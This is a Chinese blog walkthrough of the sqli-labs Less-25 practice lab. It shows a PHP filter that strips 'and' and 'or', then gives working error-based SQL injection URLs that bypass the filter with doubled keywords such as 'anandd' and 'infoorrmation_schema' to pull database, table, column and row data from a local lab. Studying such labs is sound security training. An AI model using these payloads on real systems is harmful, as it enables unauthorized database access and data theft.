目 录CONTENT

文章目录

sqli-labs系列——Less-25

CZ
CZ
2023-06-21 / 0 评论 / 2 点赞 / 325 阅读 / 3797 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

本文主要讲解了如何通过绕过SQL注入过滤来进行注入攻击。首先,我们介绍了一个基于MySQL数据库的用户身份验证脚本,并指出了其中存在的安全问题。然后,我们讨论了一个SQL查询语句出现的错误,并提供了一些可能的解决方案。接着,我们介绍了如何通过复写关键词来绕过后台对and和or字符的过滤,从而进行注入攻击。最后,我们建议使用现代的安全编程技术来避免安全问题,比如使用参数化查询或者使用预编译语句。

前言

第二十五关,首先我们一眼看到页面显示了and和or字样,遇到这种问题可能就是对sql注入的一些字符进行了过滤,看下代码果然如此,我们发现这里有个正则,把我们id传参里的and和or过滤掉了,不过它既然会过滤or和and那我们还是可以去尝试用||或者&&,或者可以通过双写绕过

部分代码展示

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

老样子还是甩给gpt看它怎么回答

这段代码的作用是对传入的 `$id` 进行处理,以防止 SQL 注入攻击。它使用 PHP 的 `preg_replace()` 函数,将字符串中的 `OR` 和 `AND` 替换为空字符串,从而避免了 SQL 注入攻击。
然而,这段代码存在一些安全问题。首先,它只是简单地替换了 `OR` 和 `AND`,但是攻击者可以使用其他语句和关键字来绕过这种过滤。其次,这段代码没有对 `$id` 进行任何其他的验证或过滤,因此攻击者可以通过其他方式进行攻击,比如使用特殊字符或 SQL 注入语句。
因此,建议使用现代的安全编程技术来避免安全问题,比如使用参数化查询或者使用预编译语句。这些技术可以有效地防止 SQL 注入攻击,并提高代码的安全性。

通过gpt给的解释我们也看出来了虽然过滤了and和or参数,但是其他语句和关键词也可绕过这种过滤

前期准备

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节

浏览器访问Less-25

http://192.168.199.135/sqli-labs-master/Less-25/

image-1687329860832

思路分析

后台过滤and和or字符,匹配就会替换为空,而我们复写关键词,列如anandd或者oorr即可绕过过滤,这里我使用的还是我们的报错注入

构造语句

首先构造语句判断是否可用,显示出是可用的,接下来就需要我们构造payload

http://192.168.199.135/sqli-labs-master/Less-25/?id=1' || updatexml(1,0x7e,3) -- xz

image-1687334267167

判断库名

http://192.168.199.135/sqli-labs-master/Less-25/?id=1' || updatexml(1,concat(0x7e,(database())),3)  -- xz

image-1687334216898

判断表名

http://192.168.199.135/sqli-labs-master/Less-25/?id=1'|| updatexml(1,concat(0x7e,(select table_name from infoorrmation_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#这里的information_schema.tables中因为有or字符所以被过滤了,所以这边使用infoorrmation_schema.tables查询

判断列名

http://192.168.199.135/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select column_name from infoorrmation_schema.columns where table_schema='security' anandd table_name='emails' limit 0,1),0x7e),1)-- xz
这里的information_schema.columns和and替换成infoorrmation_schema.columns和anandd

image-1687334643413

判断数据

http://192.168.199.135/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz

image-1687334874643

2

评论区